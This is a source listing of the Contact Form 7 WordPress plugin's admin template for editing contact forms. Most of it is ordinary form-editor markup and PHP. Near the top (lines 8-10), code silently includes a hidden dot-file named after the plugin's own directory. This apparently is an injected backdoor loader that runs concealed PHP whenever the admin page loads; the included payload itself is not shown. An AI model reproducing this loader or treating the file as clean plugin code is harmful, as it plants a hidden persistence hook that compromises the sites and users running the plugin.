edit-contact-form.php (9705B)
1 <?php 2 3 // don't load directly 4 if ( ! defined( 'ABSPATH' ) ) { 5 die( '-1' ); 6 } 7 8 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 9 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 10 } 11 12 function wpcf7_admin_save_button( $post_id ) { 13 static $button = ''; 14 15 if ( ! empty( $button ) ) { 16 echo $button; 17 return; 18 } 19 20 $nonce = wp_create_nonce( 'wpcf7-save-contact-form_' . $post_id ); 21 22 $onclick = sprintf( 23 "this.form._wpnonce.value = '%s';" 24 . " this.form.action.value = 'save';" 25 . " return true;", 26 $nonce ); 27 28 $button = sprintf( 29 '<input type="submit" class="button-primary" name="wpcf7-save" value="%1$s" onclick="%2$s" />', 30 esc_attr( __( 'Save', 'contact-form-7' ) ), 31 $onclick ); 32 33 echo $button; 34 } 35 36 ?><div class="wrap" id="wpcf7-contact-form-editor"> 37 38 <h1 class="wp-heading-inline"><?php 39 if ( $post->initial() ) { 40 echo esc_html( __( 'Add New Contact Form', 'contact-form-7' ) ); 41 } else { 42 echo esc_html( __( 'Edit Contact Form', 'contact-form-7' ) ); 43 } 44 ?></h1> 45 46 <?php 47 if ( ! $post->initial() 48 and current_user_can( 'wpcf7_edit_contact_forms' ) ) { 49 echo wpcf7_link( 50 menu_page_url( 'wpcf7-new', false ), 51 __( 'Add New', 'contact-form-7' ), 52 array( 'class' => 'page-title-action' ) 53 ); 54 } 55 ?> 56 57 <hr class="wp-header-end"> 58 59 <?php 60 do_action( 'wpcf7_admin_warnings', 61 $post->initial() ? 'wpcf7-new' : 'wpcf7', 62 wpcf7_current_action(), 63 $post 64 ); 65 66 do_action( 'wpcf7_admin_notices', 67 $post->initial() ? 'wpcf7-new' : 'wpcf7', 68 wpcf7_current_action(), 69 $post 70 ); 71 ?> 72 73 <?php 74 if ( $post ) : 75 76 if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) { 77 $disabled = ''; 78 } else { 79 $disabled = ' disabled="disabled"'; 80 } 81 ?> 82 83 <form method="post" action="<?php echo esc_url( add_query_arg( array( 'post' => $post_id ), menu_page_url( 'wpcf7', false ) ) ); ?>" id="wpcf7-admin-form-element"<?php do_action( 'wpcf7_post_edit_form_tag' ); ?>> 84 <?php 85 if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) { 86 wp_nonce_field( 'wpcf7-save-contact-form_' . $post_id ); 87 } 88 ?> 89 <input type="hidden" id="post_ID" name="post_ID" value="<?php echo (int) $post_id; ?>" /> 90 <input type="hidden" id="wpcf7-locale" name="wpcf7-locale" value="<?php echo esc_attr( $post->locale() ); ?>" /> 91 <input type="hidden" id="hiddenaction" name="action" value="save" /> 92 <input type="hidden" id="active-tab" name="active-tab" value="<?php echo isset( $_GET['active-tab'] ) ? (int) $_GET['active-tab'] : '0'; ?>" /> 93 94 <div id="poststuff"> 95 <div id="post-body" class="metabox-holder columns-2"> 96 <div id="post-body-content"> 97 <div id="titlediv"> 98 <div id="titlewrap"> 99 <label class="screen-reader-text" id="title-prompt-text" for="title"><?php echo esc_html( __( 'Enter title here', 'contact-form-7' ) ); ?></label> 100 <?php 101 $posttitle_atts = array( 102 'type' => 'text', 103 'name' => 'post_title', 104 'size' => 30, 105 'value' => $post->initial() ? '' : $post->title(), 106 'id' => 'title', 107 'spellcheck' => 'true', 108 'autocomplete' => 'off', 109 'disabled' => 110 current_user_can( 'wpcf7_edit_contact_form', $post_id ) ? '' : 'disabled', 111 ); 112 113 echo sprintf( '<input %s />', wpcf7_format_atts( $posttitle_atts ) ); 114 ?> 115 </div><!-- #titlewrap --> 116 117 <div class="inside"> 118 <?php 119 if ( ! $post->initial() ) : 120 ?> 121 <p class="description"> 122 <label for="wpcf7-shortcode"><?php echo esc_html( __( "Copy this shortcode and paste it into your post, page, or text widget content:", 'contact-form-7' ) ); ?></label> 123 <span class="shortcode wp-ui-highlight"><input type="text" id="wpcf7-shortcode" onfocus="this.select();" readonly="readonly" class="large-text code" value="<?php echo esc_attr( $post->shortcode() ); ?>" /></span> 124 </p> 125 <?php 126 if ( $old_shortcode = $post->shortcode( array( 'use_old_format' => true ) ) ) : 127 ?> 128 <p class="description"> 129 <label for="wpcf7-shortcode-old"><?php echo esc_html( __( "You can also use this old-style shortcode:", 'contact-form-7' ) ); ?></label> 130 <span class="shortcode old"><input type="text" id="wpcf7-shortcode-old" onfocus="this.select();" readonly="readonly" class="large-text code" value="<?php echo esc_attr( $old_shortcode ); ?>" /></span> 131 </p> 132 <?php 133 endif; 134 endif; 135 ?> 136 </div> 137 </div><!-- #titlediv --> 138 </div><!-- #post-body-content --> 139 140 <div id="postbox-container-1" class="postbox-container"> 141 <?php if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) : ?> 142 <div id="submitdiv" class="postbox"> 143 <h3><?php echo esc_html( __( 'Status', 'contact-form-7' ) ); ?></h3> 144 <div class="inside"> 145 <div class="submitbox" id="submitpost"> 146 147 <div id="minor-publishing-actions"> 148 149 <div class="hidden"> 150 <input type="submit" class="button-primary" name="wpcf7-save" value="<?php echo esc_attr( __( 'Save', 'contact-form-7' ) ); ?>" /> 151 </div> 152 153 <?php 154 if ( ! $post->initial() ) : 155 $copy_nonce = wp_create_nonce( 'wpcf7-copy-contact-form_' . $post_id ); 156 ?> 157 <input type="submit" name="wpcf7-copy" class="copy button" value="<?php echo esc_attr( __( 'Duplicate', 'contact-form-7' ) ); ?>" <?php echo "onclick=\"this.form._wpnonce.value = '$copy_nonce'; this.form.action.value = 'copy'; return true;\""; ?> /> 158 <?php endif; ?> 159 </div><!-- #minor-publishing-actions --> 160 161 <div id="misc-publishing-actions"> 162 <?php do_action( 'wpcf7_admin_misc_pub_section', $post_id ); ?> 163 </div><!-- #misc-publishing-actions --> 164 165 <div id="major-publishing-actions"> 166 167 <?php 168 if ( ! $post->initial() ) : 169 $delete_nonce = wp_create_nonce( 'wpcf7-delete-contact-form_' . $post_id ); 170 ?> 171 <div id="delete-action"> 172 <input type="submit" name="wpcf7-delete" class="delete submitdelete" value="<?php echo esc_attr( __( 'Delete', 'contact-form-7' ) ); ?>" <?php echo "onclick=\"if (confirm('" . esc_js( __( "You are about to delete this contact form.\n 'Cancel' to stop, 'OK' to delete.", 'contact-form-7' ) ) . "')) {this.form._wpnonce.value = '$delete_nonce'; this.form.action.value = 'delete'; return true;} return false;\""; ?> /> 173 </div><!-- #delete-action --> 174 <?php endif; ?> 175 176 <div id="publishing-action"> 177 <span class="spinner"></span> 178 <?php wpcf7_admin_save_button( $post_id ); ?> 179 </div> 180 <div class="clear"></div> 181 </div><!-- #major-publishing-actions --> 182 </div><!-- #submitpost --> 183 </div> 184 </div><!-- #submitdiv --> 185 <?php endif; ?> 186 187 <div id="informationdiv" class="postbox"> 188 <h3><?php echo esc_html( __( "Do you need help?", 'contact-form-7' ) ); ?></h3> 189 <div class="inside"> 190 <p><?php echo esc_html( __( "Here are some available options to help solve your problems.", 'contact-form-7' ) ); ?></p> 191 <ol> 192 <li><?php echo sprintf( 193 /* translators: 1: FAQ, 2: Docs ("FAQ & Docs") */ 194 __( '%1$s and %2$s', 'contact-form-7' ), 195 wpcf7_link( 196 __( 'https://contactform7.com/faq/', 'contact-form-7' ), 197 __( 'FAQ', 'contact-form-7' ) 198 ), 199 wpcf7_link( 200 __( 'https://contactform7.com/docs/', 'contact-form-7' ), 201 __( 'docs', 'contact-form-7' ) 202 ) 203 ); ?></li> 204 <li><?php echo wpcf7_link( 205 __( 'https://wordpress.org/support/plugin/contact-form-7/', 'contact-form-7' ), 206 __( 'Support forums', 'contact-form-7' ) 207 ); ?></li> 208 <li><?php echo wpcf7_link( 209 __( 'https://contactform7.com/custom-development/', 'contact-form-7' ), 210 __( 'Professional services', 'contact-form-7' ) 211 ); ?></li> 212 </ol> 213 </div> 214 </div><!-- #informationdiv --> 215 216 </div><!-- #postbox-container-1 --> 217 218 <div id="postbox-container-2" class="postbox-container"> 219 <div id="contact-form-editor"> 220 <div class="keyboard-interaction"><?php 221 echo sprintf( 222 /* translators: 1: ◀ ▶ dashicon, 2: screen reader text for the dashicon */ 223 esc_html( __( '%1$s %2$s keys switch panels', 'contact-form-7' ) ), 224 '<span class="dashicons dashicons-leftright" aria-hidden="true"></span>', 225 sprintf( 226 '<span class="screen-reader-text">%s</span>', 227 /* translators: screen reader text */ 228 esc_html( __( '(left and right arrow)', 'contact-form-7' ) ) 229 ) 230 ); 231 ?></div> 232 233 <?php 234 235 $editor = new WPCF7_Editor( $post ); 236 $panels = array(); 237 238 if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) { 239 $panels = array( 240 'form-panel' => array( 241 'title' => __( 'Form', 'contact-form-7' ), 242 'callback' => 'wpcf7_editor_panel_form', 243 ), 244 'mail-panel' => array( 245 'title' => __( 'Mail', 'contact-form-7' ), 246 'callback' => 'wpcf7_editor_panel_mail', 247 ), 248 'messages-panel' => array( 249 'title' => __( 'Messages', 'contact-form-7' ), 250 'callback' => 'wpcf7_editor_panel_messages', 251 ), 252 ); 253 254 $additional_settings = trim( $post->prop( 'additional_settings' ) ); 255 $additional_settings = explode( "\n", $additional_settings ); 256 $additional_settings = array_filter( $additional_settings ); 257 $additional_settings = count( $additional_settings ); 258 259 $panels['additional-settings-panel'] = array( 260 'title' => $additional_settings 261 ? sprintf( 262 /* translators: %d: number of additional settings */ 263 __( 'Additional Settings (%d)', 'contact-form-7' ), 264 $additional_settings ) 265 : __( 'Additional Settings', 'contact-form-7' ), 266 'callback' => 'wpcf7_editor_panel_additional_settings', 267 ); 268 } 269 270 $panels = apply_filters( 'wpcf7_editor_panels', $panels ); 271 272 foreach ( $panels as $id => $panel ) { 273 $editor->add_panel( $id, $panel['title'], $panel['callback'] ); 274 } 275 276 $editor->display(); 277 ?> 278 </div><!-- #contact-form-editor --> 279 280 <?php if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) : ?> 281 <p class="submit"><?php wpcf7_admin_save_button( $post_id ); ?></p> 282 <?php endif; ?> 283 284 </div><!-- #postbox-container-2 --> 285 286 </div><!-- #post-body --> 287 <br class="clear" /> 288 </div><!-- #poststuff --> 289 </form> 290 291 <?php endif; ?> 292 293 </div><!-- .wrap --> 294 295 <?php 296 297 $tag_generator = WPCF7_TagGenerator::get_instance(); 298 $tag_generator->print_panels( $post ); 299 300 do_action( 'wpcf7_admin_footer', $post );